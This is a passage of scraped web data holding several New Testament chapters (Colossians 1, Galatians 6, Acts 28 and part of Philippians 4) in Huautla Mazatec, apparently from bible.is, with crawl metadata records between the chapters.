tjín ko̱ nga ìsa̱ ndaà jcha̱xkon yá‑né xi Nainá. 11K'oa̱á ti̱s'ín nìjét'aà‑la̱je̱n Nainá nga tse nga'ñó kàtatsjá‑nò koni s'ín tjín nga'ñó‑la̱ xi mìkiì fehet'aà, mé‑ne nga kixi̱ ki̱tsa̱jna‑nò ni̱ta̱ mé kjoa̱ xi sa̱kò‑nò, ti̱koa̱ s'e̱‑nò kjoa̱tsejta ko̱ kjo̱tsja. 12Tjiì‑là kjo̱ndaà Na̱'èn‑ná nga jè kisìkítsa̱jnandaà‑nò nga ti̱koa̱ tjoé‑nò kjo̱tjò xi jè jye tjíndaà‑la̱ ján ngajmiì ñánda iseèn choòn nga tsjá‑la̱ ngats'iì xi̱ta̱‑la̱ xi ya̱ chja̱‑ne na̱xa̱ndá‑la̱ Nainá. 13Nainá kisìkítsa̱jnandei̱í‑ná i̱t'aà ts'e̱ nga'ñó‑la̱ xi̱ta̱ nei̱í jè xi otíxoma ñánda jñò choòn; ya̱á kisìkítsa̱jna‑ná ñánda tíhotíxoma Ki'ndí‑la̱ xi 'ñó matsjakeè, 14jè xi ko̱ jní‑la̱ tsibíchjítjì‑ná nga kisìkítsa̱jnandei̱í‑ná ti̱koa̱ kisìjchàat'aà‑ná jé‑ná. 15Ni̱ sa̱á jngoò xi̱ta̱ beèxkon Nainá ta̱nga jè Ki'ndí‑la̱ tsakó‑la̱ xi̱ta̱ yá‑ne xi Nainá. Nga̱ jè Ki'ndí‑la̱ xi tíjna ítjòn‑la̱ ngats'iì xi kisindaà i̱sò'nde. 16Nga ko̱ Cristo, Nainá tsibíndaà yije xi tjín ngajmiì ko̱ xi tjín i̱ i̱t'aà nangui, xi tsejèn ko̱ xi mìkiì tsejèn, ngats'iì nga'ñó xi tjín i̱jiìn i̱sén, xi títsa̱jna ítjòn, xi otíxoma, xi xá ítjòn tjín‑la̱, ko̱ jñà nga'ñó xi mìkiì tsejèn‑ná; i̱t'aà ts'e̱é Cristo kisindaà yije‑ne ko̱ ts'e̱‑né. 17Cristo, ìsa̱á kjòtseé tíjna mì k'oa̱‑ne ngats'iì tsojmì xi tjín, ko̱ jè tsjá‑la̱ nga'ñó ngats'iì tsojmì mé‑ne nga ndaà kítsa̱jna‑ne. 18Jè Cristo tíjna sko̱‑la̱ na̱xa̱ndá‑la̱ nga ti̱jè‑ne yijo‑la̱ ko̱ i̱t'aà ts'e̱é kjòts'ia̱‑ne. K'e̱ nga jaáya‑la̱ Cristo i̱t'aà ts'e̱ kjoa̱biyaà, jè tsibìjna ítjòn‑la̱ i̱t'aà ts'e̱ xi̱ta̱ xi faáya‑la̱ mé‑ne nga jè kíjna ítjòn‑la̱ ni̱ta̱ mé xi tjín. 19Nainá k'oa̱á s'ín kisaseèn‑la̱ nga jngoò k'aá ya̱ tsibìjnajiìn yijo‑la̱ Cristo, 20nga i̱t'aà ts'e̱é Cristo, Nainá tsajoóndaàko̱ yije‑ne ngats'iì xi tjín i̱sò'nde ko̱ xi tjín ngajmiì; i̱t'aà ts'e̱ jní‑la̱ Jesucristo xi kixíxteèn ján i̱t'aà krò, Nainá kisìkijne 'nchán kjoa̱. 21Jñò, nga sa̱ ítjòn, ti̱koa̱á titsa̱jnat'aàxìn‑la Nainá; kondra̱á tsanguì‑là ya̱ i̱jiìn ini̱ma̱‑nò, koií kjoa̱‑la̱ nga ch'o tjín kjoa̱ xi ki'nè. 22Ta̱nga i̱'ndei̱ jyeé ndaà tsajoóko̱‑nò Nainá koií kjoa̱‑la̱ jè kjo̱'in xi kisìkjeiín Cristo i̱ i̱t'aà nangui k'e̱ nga k'en. Koií k'oa̱s'ín kis'iìn‑ne mé‑ne nga tsjeè ki̱tsa̱jnaà‑nò, ko̱ ni̱mé jé xi s'e̱‑nò ko̱ ni̱mé xi ch'o kítjo̱nguio nga nguixko̱n Nainá. 23Kjoa̱ koi mochjeén‑né nga kixi̱ ti̱tsa̱jnako̱o koni s'ín mokjeiín‑nò. Ko̱ kì binchat'aàxìn‑là kjoa̱ xi titsa̱chiñà‑là i̱t'aà ts'e̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo, 'én xi jye kina'yà‑là. Jè 'én jè, xki̱ xi ján tínokjoàyajiìn‑la̱ xi̱ta̱ kóho̱kji i̱sò'nde; ko̱ 'a̱n xi 'mì‑na Pablo, 'a̱án kjònga̱tsja nga okoòya 'én. 24I̱'ndei̱ matsjaá‑na̱ nga kjo̱'in tìsìkjiaán xi kjoa̱ tsa̱jòn nga k'oa̱á s'ín tísíjngoaà i̱jiìn yijo‑na̱ koni s'ín chijat'aà‑na kjo̱'in xi kitsjaà‑na Cristo xi kjo̱ndaà ts'e̱ na̱xa̱ndá‑la̱ nga ti̱jé‑ne yijo‑la̱. 25'A̱án tísíkjeén‑na Nainá nga 'a̱n tìsìxákoa̱a na̱xa̱ndá‑la̱, xá xi kisìnga̱tsja‑na xi kjo̱ndaà tsa̱jòn nga nguì ndaà kèno̱jmiá 'én ndaà‑la̱, 26jè 'én xi tíjna'ma‑la̱ Nainá nga ti̱sa̱ tàts'en‑la̱ kjoa̱, ta̱nga na̱chrjein i̱'ndei̱, Nainá jyeé tsakó‑la̱ xi̱ta̱‑la̱. 27Jè Nainá k'oa̱á s'ín kjòmejèn‑la̱ nga tsakó‑la̱ jñà xi̱ta̱‑la̱ kó s'ín tjín kjoa̱'ma‑la̱ xi 'ñó jeya tíjna xi kjo̱ndaà ts'e̱ xi mìtsà xi̱ta̱ judío. Jè kjoa̱'ma, jè‑né nga jè Cristo tíjnajiìn ini̱ma̱‑nò jñò xi mìtsà xi̱ta̱ judío 'mì‑nò, k'oa̱á ma‑ne nga titsa̱chiñà‑là jñò kjoa̱jeya‑la̱ Nainá xi tsjá‑nò ján ngajmiì. 28K'oa̱á s'ín nokjoàyajiìn‑la̱je̱n ngats'iì xi̱ta̱ i̱t'aà ts'e̱ Cristo; 'ñó nokjoàko̱‑je̱n nga nguì ko̱ kjoa̱chji̱ne̱ okoòya‑la̱je̱n mé‑ne nga ngats'iì xi̱ta̱ xi fìt'aà‑la̱ Cristo ni̱mé chi̱jat'aà‑la̱ jè na̱chrjein k'e̱ nga ngaje̱n si̱ìnga̱tsja‑je̱n nga nguixko̱n Nainá. 29K'oa̱á ma‑ne nga 'ñó tíbínè‑la̱ yijo‑na̱ nga tìsìxá, tìsìkjeén jè nga'ñó xi tsjá‑na Cristo.\nColosenses 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Col\/1","date":"2013-12-07T05:32:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163053578\/warc\/CC-MAIN-20131204131733-00064-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":40,"top_langs":"{\"maa_Latn_score\": 1.0000085830688477}","num_words":776,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.331,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñò ndí 'ndsè ko̱ ndí tichjaá, tsà tjín i'nga xi̱ta̱ xi jé ótsji, jñò xi ndaà onguít'aà‑là jè Ini̱ma̱ Tsjeè‑la̱ Nainá, jñò ti̱si̱ko̱ò nga kàtakixi̱ya ìjngoò k'a‑ne nga indaàkjoa̱ ti̱nókjoa̱‑là. Ta̱nga jñò, t'e̱en kinda̱ yijo‑nò, mé‑ne nga mì jé ska̱jiìn‑nò. 2Ti̱si̱ko̱ò xinguio̱o k'e̱ nga tsà mé kjoa̱ xi 'in tjín títsa̱jnajiìn; k'oa̱á s'ín ko̱ma‑ne nga si̱kitasòn jè kjo̱tíxoma xi kitsjaà Cristo. 3Tsà tjín i'nga xi̱ta̱ xi ndaà ochrjengui yijo‑la̱, koa̱ tsà mìtsà kixi̱‑ne kjoa̱, jñà xi̱ta̱ koi, tà yijo‑la̱á nchikona̱cha̱n‑la̱. 4Ìsa̱á ndaà‑ne nga chít'aà yijo‑nò nga jngoò ìjngoò‑nò, a ndaà titsa̱'nè; tsà ndaà titsa̱'nè, ta ya̱ tíjiìn takòn, kì k'oa̱á s'ín nìkítsjeèn nga jñò, ìsa̱á ndaà titsa̱'nè mì k'oa̱‑ne koni jñà xi̱ta̱ xi kj'ei̱í. 5Nga jngoò ìjngoò, ya̱á kjinè‑la̱ kós'ín tísíjchá yijo‑la̱. 6Jñà xi̱ta̱ xi nchikota'yà 'én ndaà‑la̱ Nainá, mochjeén‑né nga kàtatsjá‑la̱ mé xi ko̱chjeén‑la̱ maestro‑la̱ nga 'én okóya. 7Kì yijo‑nò chona̱cha̱n‑là; nga Nainá mìkiì ko̱ma si̱skákoa̱á. Nga ìjngoò ìjngoò xi̱ta̱, koni tjín kjoa̱ xi s'ín, k'oa̱á ti̱ tjín kjoa̱ xi sa̱kò‑la̱. 8Nga jè xi k'oa̱s'ín s'ín koni s'ín mejèn‑la̱ yijo‑la̱, kjoa̱biyaá tjoé‑la̱ i̱t'aà ts'e̱ kjoa̱ ch'o xi síjé yijo‑la̱, ta̱nga jè xi k'oa̱s'ín s'ín koni s'ín mejèn‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá, i̱t'aà ts'e̱ Ini̱ma̱ Tsjeè‑la̱ Nainá tjoé‑la̱ kjoa̱binachon xi mìkiì fehet'aà ni̱ta̱ kjé‑né. 9Mìkiì ndaà tjín tsà ko̱siì‑ná nga ndaà s'e̱én; nga ki̱jchò na̱chrjein nga sa̱kò‑ná kjo̱ndaà tsà mì kì si̱hindaà‑lá takoán. 10Koií kjoa̱‑la̱, k'e̱ ma xi 'né i̱tsé, ndaà si̱koa̱á ngats'iì xi̱ta̱, jñà títsa̱jna ítjòn jñà xi̱ta̱ xinguia̱á xi ngásòn mokjeiín‑ná 'én‑la̱ Nainá. 11Chítsejèn‑là tsí ki̱tsian‑ne letra xi ndsa̱a tìkjiì‑nò. 12Jñà xi̱ta̱ xi mejèn‑la̱ nga kjo̱'ñó s'ín‑nò nga sit'aà chi̱ba̱‑nò kjoa̱ ts'e̱ circuncisión, tà koií xi mejèn‑la̱ nga ndaà síkítsa̱jna yijo‑la̱ nga nguixko̱n xi̱ta̱; ko̱ majìn‑la̱ nga xi̱ta̱ kji̱tji̱ngui kondra̱‑la̱ tsà ko̱s'ín ke̱èno̱jmíya nga ya̱ k'en‑t'aà krò Cristo. 13Jñà xi̱ta̱ xi tjít'aà chi̱ba̱‑la̱ kjoa̱ ts'e̱ circuncisión, ti̱koa̱á mìkiì síkitasòn kjo̱tíxoma, ta̱nga mejèn‑la̱ nga si̱t'aà chi̱ba̱‑nò mé‑ne nga i̱t'aà tsa̱jòn ndaà si̱ìkítsa̱jna‑ne yijo‑la̱ k'e̱ nga skoe̱ nga jñò jye tjít'aà chi̱ba̱‑nò. 14Ta̱nga 'a̱n, ni̱mé kjoa̱ xi mejèn‑na nga ndaà sìkíjna yijo‑na̱; ta jè ta̱jngoó krò‑la̱ Na̱'èn‑ná Jesucristo nga ndaà sìkíjna yijo‑na̱. K'oa̱á ma‑ne nga jñà kjoa̱ ch'o xi tjín i̱sò'nde, i̱t'aà ts'a̱n, títsa̱jnak'en‑né ko̱ 'a̱n tìjna̱k'eén‑la̱ jè i̱sò'nde. Mì ti̱ k'oa̱á tjín kjoa̱ xi sis'in‑na. 15Xi i̱t'aà ts'e̱ Cristo, mìtsà jè xi chjí‑la̱ tsà tjít'aà chi̱ba̱‑ná ko̱ tsà tsjìn‑ná chi̱ba̱ kjoa̱ ts'e̱ circuncisión; jè xi chjí‑la̱ nga jè Nainá jyeé kisìkjatjìya‑ná ko̱ jyeé xi̱ta̱ xi̱tse̱ kjoán. 16Kàtas'e‑la̱ kjoa̱'nchán ko̱ kjoa̱ i̱ma̱ takòn ya̱ i̱jiìn ini̱ma̱‑la̱ ngats'iì xi̱ta̱ xi k'oa̱s'ín nchisíkitasòn koni tsò 'én jè; jñà‑né xi xi̱ta̱‑la̱ Nainá ts'e̱ na̱xa̱ndá Israel. 17K'oa̱á ma‑ne i̱'ndei̱, kì ti̱ yá xi kjoa̱ ótsji‑ìsa‑na nga jyeé tjít'aà chi̱ba̱‑la̱ yijo‑na̱ kjo̱'in xi kitsjaà‑na̱ xi̱ta̱ xi kjoa̱ ts'e̱ Na̱'èn‑ná Jesús. 18Jñò ndí 'ndsè ko̱ ndí tichjaá, jè kàtasijiìn ini̱ma̱‑nò kjo̱ndaà‑la̱ Jesucristo xi otíxoma‑ná. K'oa̱s'ín kàtama.\nGálatas 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Gal\/6","date":"2013-12-09T11:02:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163961998\/warc\/CC-MAIN-20131204133241-00079-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000098943710327}","num_words":460,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.322,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga jye itjojiìn‑je̱n ndáchikon, kis'eno̱jmí‑naje̱n nga ya̱ i̱'nde jè, Malta 'mì. 2Jñà xi̱ta̱ xi ya̱ i̱'nde‑la̱, ndaà kisìko̱‑naje̱n; tsibítse‑naje̱n ni'ín, i̱kjoàn kitsjaà'nde‑naje̱n nga kinìhiso‑je̱n, nga jtsí tí'ba koa̱ 'nchán choòn. 3Jè Pablo tsibíxkó chiba chikín kixì. K'e̱ nga chinchájiìn ni'ín jñà chikín, jngoò ye̱ itjokàjiìn xi tíhonga nga 'ñó tsjè ni'ín; kiskine tsja Pablo. 4Jñà xi̱ta̱ xi ya̱ i̱'nde‑la̱ nga kijtseè nga ye̱ tjo̱hóngui‑la̱ tsja Pablo, kitsò‑la̱ xíkjín: ―Xi̱ta̱ jè, xi̱ta̱á‑la ma‑la̱ sík'en; na̱s'ín ndaà kòbitjokàjiìn ndáchikon, jè nea̱‑ná xi tjín‑la̱ o̱kixi̱, majìn‑la̱ síkíjnakon. 5Jè Pablo, tsibítsajneè tsja ya̱ i̱jiìn ni'ín; ni̱mé xi komà‑la̱. 6Ngats'iì xi̱ta̱ nchikoña‑la̱ mé hora ki̱tjaya tsja koa̱ mé hora ki̱yá Pablo. K'e̱ nga kijtseè nga jye kjìn hora tsato nga ni̱mé xi komà‑la̱, kj'ei̱í s'ín kisìkítsjeèn, kitsò: ―Jè Pablo, Nainá‑la. 7Ya̱ chrañàt'aà‑la̱ i̱'nde ñánda ijchò‑je̱n, tseé nangui tjín xi ts'e̱ xi̱ta̱ ítjòn‑la̱ i̱'nde Malta xi 'mì Publio. Jàn na̱chrjein tsitsa̱jnako̱‑je̱n; ndaà kiskoétjò‑naje̱n ko̱ ndaà kisìs'in‑naje̱n. 8Na̱chrjein koi, jè na̱'èn‑la̱ Publio, xk'én‑né; ch'in tíjnga tjín‑la̱ ko̱ xo̱jmá jní tífa‑la̱. Pablo kiìkon; kiìchja̱t'aà‑la̱ Nainá; i̱kjoàn tsohójnasòn‑la̱ tsja; jngoò k'a kjòndaà‑ne. 9K'e̱ nga kiì'nchré jñà xi̱ta̱ xk'én xi tjín ya̱ i̱'nde jè, ti̱koa̱ inchrobà ñánda tíjna Pablo. Kjòndaà yijeé‑ne. 10Jñà xi̱ta̱, ndaà kisìs'in‑naje̱n. K'e̱ nga jye titsa̱chjoé jngoò‑je̱n chitso nga jye titsa̱honguí‑je̱n, jñà xi̱ta̱ kisìk'a yijeé‑naje̱n ngats'iì tsojmì xi ko̱chjeén‑naje̱n ya̱ ndi̱yá. 11K'e̱ nga jye tsato jàn sá nga titsa̱jna‑je̱n i̱'nde jè, i̱kjoàn tsanguì ìjngoò k'a‑je̱n. Tsitjaàs'en jngoò‑je̱n chitso xi ján i̱'nde‑la̱ na̱xa̱ndá Alejandría xi ti̱koa̱ ya̱ kisasijna ya̱ i̱ndiì ndáchikon ts'e̱ Malta jñà na̱chrjein cho̱ 'nchán; i̱sén ts'e̱ Cástor ko̱ Pólux tjít'aà. 12K'e̱ nga ijchò‑je̱n na̱xa̱ndá Siracusa, jàn na̱chrjein tsitsa̱jna‑je̱n. 13Tsanguì ìjngoò k'a‑je̱n; ijchò‑je̱n skanda na̱xa̱ndá Regio. Xi komà inchijòn tsibíts'ia̱ nga ts'a tjo̱ xi inchrobà‑ne i̱'nde sur. Ijchò jò na̱chrjein, ijchò‑je̱n na̱xa̱ndá Puteoli. 14Ya̱á kiskaàkjoò i'nga‑je̱n xi̱ta̱ xinguia̱á xi i̱t'aà ts'e̱ Cristo xi kiìchja̱ko̱‑naje̱n nga tsitsa̱jnako̱‑je̱n jngoò xomàna̱. Xi komà i̱skan, i̱kjoàn tsanguí‑je̱n skanda Roma. 15Jñà xi̱ta̱ xinguia̱á i̱t'aà ts'e̱ Cristo xi títsa̱jna Roma, jyeé tíjiìn‑la̱ nga ya̱ titsa̱honguí‑je̱n; tjín xi ijchò kaña‑naje̱n ya̱ ndi̱tsi̱n Apio; ti̱koa̱ tjín xi ijchò kaña‑naje̱n ñánda 'mì Jàn Tabernas. Jè Pablo, k'e̱ nga kijtseèxkon, tsjaá kis'e‑la̱ ini̱ma̱‑la̱; kitsjaà‑la̱ kjo̱ndaà Nainá. 16K'e̱ nga jye titsa̱jna‑je̱n Roma, Pablo kits'iì'nde‑la̱ nga tsibìjna ta̱jngoò ni'ya‑la̱; ko̱ tà jngoò soldado kisìkinda̱. 17Nga komà jàn na̱chrjein nga ijchò‑je̱n Roma, Pablo, tsibíxkóya jñà xi̱ta̱ sko̱‑la̱ xi̱ta̱ judío xi ya̱ títsa̱jna. K'e̱ nga jye j'iì yije, kitsò‑la̱: ―Jñò xi xi̱ta̱ xinguia̱á judío xi i̱ titsa̱jnaà Roma, ján Jerusalén, kitsobà'ñó‑na xi̱ta̱, i̱kjoàn kisìnga̱tsja‑na i̱t'aà ts'e̱ xi̱ta̱xá Roma nga tsibíndaàjiìn‑na. 'A̱n, ni̱mé jé xi tìhotsjià i̱t'aà ts'e̱ xi̱ta̱ xinguia̱á judío ko̱ i̱t'aà ts'e̱ kjo̱tíxoma‑la̱ xi̱ta̱ jchínga‑ná. 18Jñà xi̱ta̱xá Roma nga tsibíndaàjiìn‑na, ni̱mé jé xi kisakòt'aà‑la̱ i̱t'aà ts'a̱n. Mejèn kisìkíjnandei̱í‑na nga mìkiì ok'ìn‑la̱ nga si̱ìk'en‑na̱. 19Ta̱nga jñà xi̱ta̱ judío, mìkiì kòkjeiín‑la̱; k'oa̱á komà‑ne nga 'a̱n, kisìjé nga jè kàtíndaàjiìn‑na jè César xi xi̱ta̱xá ítjòn ts'e̱ Roma. 'A̱n, ni̱mé xi sìjé xi kondra̱ ts'e̱ na̱xa̱ndá‑ná. 20K'oa̱á ma‑ne nga kòbìxkóya‑nò mé‑ne nga kichjàko̱‑nò; koií kjoa̱‑la̱ nga mokjeiín‑na i̱t'aà ts'e̱ kjoa̱ xi titsa̱chiñá‑lá xi xi̱ta̱ Israel 'mì‑ná nga na'ñó ki̱cha̱ tjít'aà'ñó‑na. 21Jñà xi̱ta̱ judío kitsò: ―Ngaje̱n, ni̱mé xo̱jo̱n tíkaàt'aà‑naje̱n xi kjoa̱ tsi̱ji xi ján Judea nchrobá‑ne. Ngats'iì xi̱ta̱ judío xinguia̱á xi nchif'iì, ni̱mé 'én xi ch'o tsò nchitsjá‑naje̱n xi kjoa̱ tsi̱ji. 22Mejèn‑naje̱n nga ki̱ná'ya‑je̱n kjoa̱ xi nìkítsjiìn; ngaje̱n, tíjiìn‑naje̱n nga xki̱ xi ján chja̱jno‑la̱ xi̱ta̱ nga kondra̱ fì‑la̱ jè ndi̱yá xi̱tse̱ xi ya̱ tjaáyi. 23Tsibíjna jngoò na̱chrjein‑la̱ xíkjín, mé na̱chrjein ki̱xoña. K'e̱ nga chixoña, kjìn xi̱ta̱ ijchò ya̱ ni'ya ñánda tíjna Pablo; ko̱ jè Pablo tsakóya‑la̱ kós'ín otíxoma Nainá, tsibíts'ia̱ko̱‑ne nga sa̱ ta̱jñòya skanda kjònguixòn. Pablo kisìkjeén xo̱jo̱n ts'e̱ Moisés ko̱ ts'e̱ xi̱ta̱ xi kiìchja̱ya ngajo‑la̱ Nainá nga tsakóya‑la̱ kó s'ín tíchja̱ mé‑ne nga jñà xi̱ta̱ kàtakjeiín‑la̱ i̱t'aà ts'e̱ Jesús nga jè xi Cristo. 24Tjín xi̱ta̱ xi kòkjeiín‑la̱, ti̱koa̱ tjín xi mìkiì kòkjeiín‑la̱. 25Nga mìkiì kjòngásòn 'én‑la̱ koni s'ín tsajoókjoò, tsibíts'ia̱ nga itjo ni'ya. K'e̱é kitsò‑la̱ Pablo: ―Ndaà kiìchja̱ Ini̱ma̱ Tsjeè‑la̱ Nainá nga kisìkjeén Isaías xi̱ta̱ xi kiìchja̱ ngajo‑la̱ kjòtseé nga kitsò‑la̱ jñà xi̱ta̱ jchínga judío: 26T'in, ko̱t'ìn‑la̱ jñà xi̱ta̱ na̱xa̱ndá: Jñò, ki̱ná'ya‑nò ta̱nga mìkiì kjoa̱s'en‑jiìn‑nò; chítsejèn‑nò ta̱nga mìkiì jcha̱xkon. 27Koií kjoa̱‑la̱ nga jñà xi̱ta̱ na̱xa̱ndá jè, kisìtájaàjiìn kjo̱hítsjeèn‑la̱, tsibíchjoàjto líká‑la̱, ti̱koa̱ tsibíchjoà xko̱n, mé‑ne nga mìkiì skoe̱‑ne, mìkiì kji̱'nchré, ti̱koa̱ mìkiì kjoa̱s'en‑jiìn‑la̱; majìn‑la̱ nga 'a̱n fìt'aà‑na nga sìndaà‑na. 28Jñò kàtasijiìn‑nò, na̱chrjein i̱'ndei̱, Nainá, ján tísíkasén‑la̱ jñà xi mìtsà xi̱ta̱ judío, kjo̱ndaà jè, mé‑ne nga ki̱tjokàjiìn‑ne kjo̱'in. Ko̱ jñà xi̱ta̱ koi, ko̱kjeiín‑la̱. 29K'e̱ nga jye o̱kitsò Pablo, jñà xi̱ta̱ judío, k'e̱ nga kiì‑ne, nguì tà tsohótiyaá‑ne 'én xi tsibéno̱jmí Pablo. 30Pablo, jò nó tsibìjna ni'ya xi kiskìña nga tsibíchjí. Ya̱á kisìs'in‑la̱ ngats'iì xi̱ta̱ xi ijchòkon. 31Kitjò'nde‑la̱ nga kiìchja̱ya kós'ín otíxoma Nainá ti̱koa̱ tsakóya i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo. Mì yá xi̱ta̱ tsatekjáya‑la̱.\nHechos 28","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/28","date":"2013-12-11T21:49:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164048127\/warc\/CC-MAIN-20131204133408-00058-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000002265,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000022649765015}","num_words":769,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.285,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'oa̱á ma‑ne jñò ndí 'ndsè xi 'ñó matsjake̱‑nò, ko̱ nga 'ñó makájno‑na nga mejèn‑na skoexkon‑nò, ko̱ nga nìtsja‑là ini̱ma̱‑na̱, ko̱ jñò xi kjo̱tjò‑na̱ ma i̱t'aà ts'e̱ xá‑na, k'oa̱á xan‑nò nga kixi̱ titsa̱jnako̱o Na̱'èn‑ná, jñò xi 'ñó matsjake̱‑nò. 2Tìbitsi'bà‑la̱ jè Evodia ko̱ Síntique, nga ngásòn ndaà kàtjìko̱ xíkjín nga ndichja joó xi i̱t'aà ts'e̱ Na̱'èn‑ná. 3Ti̱koa̱á ngaji̱ ndí 'ndsè xi ngásòn ta̱ña nìxá, tìsìjét'aà‑lè, ti̱chját'aà‑la̱ íchjín koi; nga ndaà kisìxáko̱‑na i̱t'aà ts'e̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. Ko̱ jè Clemente ko̱ xi̱ta̱ xi i'nga ti̱koa̱á ndaà kisìxáko̱‑na. Xi̱ta̱ koi, jye tjít'aà 'ín‑la̱ xo̱jo̱n ts'e̱ kjoa̱binachon ján ngajmiì. 4Tsja t'è‑là ini̱ma̱‑nò nga Na̱'èn‑ná titsa̱jnako̱o. Ìjngoò k'a k'oa̱ xan‑nò: ¡Tsja t'è‑là takòn! 5Jñò, kàtabeè yije‑nò xi̱ta̱ nga xi̱ta̱ ndaà 'mì‑nò. Jyeé tímachrañà nga kjoi̱í ìjngoò k'a Na̱'èn‑ná. 6Kì mé kjoa̱ nìkájno. Ta ìsa̱á ti̱jét'aà‑là Nainá k'e̱ nga mé xi mochjeén‑nò. Ti̱koa̱ tjiì‑là kjo̱ndaà. 7K'oa̱á s'ín ko̱ma‑ne nga tsjá‑nò kjoa̱'nchán Nainá. Jè kjoa̱'nchán xi tsjá‑nò fahatonè‑la̱ koni s'ín bítsjeèn‑la̱ xi̱ta̱. Kjoa̱'nchán jè, jè xi si̱ìkinda̱ ini̱ma̱‑nò ko̱ kjo̱hítsjeèn‑nò nga Cristo Jesús titsa̱jnako̱o. 8Ndí 'ndsè k'oa̱á xan‑nò xi fehet'aà‑ne. Ti̱kítsjeèn xi kjoa̱ kixi̱, kjoa̱ xi ndaà yaxkón, kjoa̱ xi ndaà tjín nga nguixko̱n Nainá, kjoa̱ xi tsjeè tjín, kjoa̱ xi ndaà sasén‑ná, ko̱ ngats'iì kjoa̱ xi ndaà na'yà‑la̱. Ko̱ tsà tjín‑ìsa kjoa̱ xi kj'ei̱í xi 'ñó ndaà tjín, xi ok'ìn‑la̱ nga 'nga kítsa̱jna, koií kjoa̱ ti̱kítsjeèn. 9K'oa̱s'ín t'e̱en koni s'ín tsakoòya‑nò o̱kixi̱ xi 'a̱n kitsjaà‑nò, 'én xi kina'yá‑ná, koni s'ín ki'ya‑ná nga kis'iaàn; tákó k'oa̱s'ín t'e̱en. Nainá xi tsjaà‑la̱ kjoa̱ 'nchán ini̱ma̱‑ná, jè kíjnako̱‑nò. 10'Ñó matsja‑na̱ koni síko̱‑na Na̱'èn‑ná nga ijchò na̱chrjein, ìjngoò k'a kinìkítsjeèn‑ná. 'A̱n k'oa̱á s'ín síkítsjeèn nga mìtsà kinìjchàajñoò xi i̱t'aà ts'a̱n, tà jè‑né nga mìkiì xátí kitjò'nde‑nò nga kinìchját'aà‑ná. 11Mìtsà koi kjoa̱‑la̱ nga k'oa̱tìxan‑nò tsà mé tsojmì xi chijat'aà‑na̱. Jyeé kjò'nga‑na nga majngoò takoàn mé xi tjín‑na. 12Be‑ná kó ma nga i̱ma̱ tísíjchá yijo‑na̱. Ti̱koa̱á be‑ná kó ma k'e̱ nga tjín‑na tsojmì. Jye tíbe ni̱ta̱ mé kjoa̱ xi tímat'ian. Ti̱jé‑na̱ tsà skiì tíjna i̱ndso̱'bà, ko̱ tsà kjinchrá tìbiyaà, tsà ningui‑na̱ tsojmì ko̱ tsà ni̱mé tsojmì tjín‑na̱. 13Ko̱ma yijeé‑na ni̱ta̱ mé kjoa̱‑ne nga jè Cristo tsjá‑na nga'ñó. 14Ta̱nga jñò, tákó ndaà ki'nè‑nò nga kinìchját'aà‑ná k'e̱ nga kjoa̱ tìjna̱jñaà. 15Jñò xi na̱xa̱ndá Filipo tsa̱jòn, tíjiìn‑nò nga ta jñò‑nò xi kinìchját'aà‑ná mé xi kjòchjeén‑na, jè na̱chrjein k'e̱ nga kiaà nangui Macedonia k'e̱ nga sa̱ tsibìts'ia̱a nga kichjàko̱‑nò 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. Ni̱jngoò na̱xa̱ndá‑la̱ Cristo xi kj'ei̱í xi ma‑la̱ kisìchját'aà‑na. 16Ti̱koa̱á k'e̱ nga tsohóti̱jna na̱xa̱ndá Tesalónica, jngoò jò k'a kinìkasén‑ná kjo̱tjò xi kjòchjeén‑na. 17Mìtsà mé kjo̱tjò tsa̱jòn xi mejèn‑ìsa‑na, ta jè xi mejèn‑na nga ìsa̱ ndaà kàtasíchikon‑t'in‑nò Nainá. 18Jyeé kiskaàt'aà yije‑na ngats'iì xi kinìkasén‑ná. Jyeé tjín yije‑na xi mochjeén‑na skanda ninguií‑na nga jyeé j'iìko̱‑na nga'ñó xi kinìkasén‑ná ko̱ Epafrodito. Kjo̱tjò xi kinìkasén‑ná k'oa̱á s'ín ngaya‑la̱ koni chrjongó‑la̱ Nainá xi 'ñó ndaà jne̱, jñà kjo̱tjò xi 'ñó ndaà sasén‑la̱ Nainá. 19K'oa̱á ma‑ne, jè Nainá xi 'a̱n kjit'aàtakoàn, tsjá yije‑nò ni̱ta̱ mé xi chijat'aà‑nò koni s'ín jeya tjín kjoa̱ nchi̱ná xi tjín‑nò nga Cristo Jesús titsa̱jnako̱o. 20Jè Nainá xi Na̱'èn‑ná, jeya kàtìjna ni̱ta̱ mé na̱chrjein‑ne, ni̱ta̱ mé nó‑ne. K'oa̱s'ín kàtama. 21I̱t'aà ts'a̱n, ti̱ixat'aà yije jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo 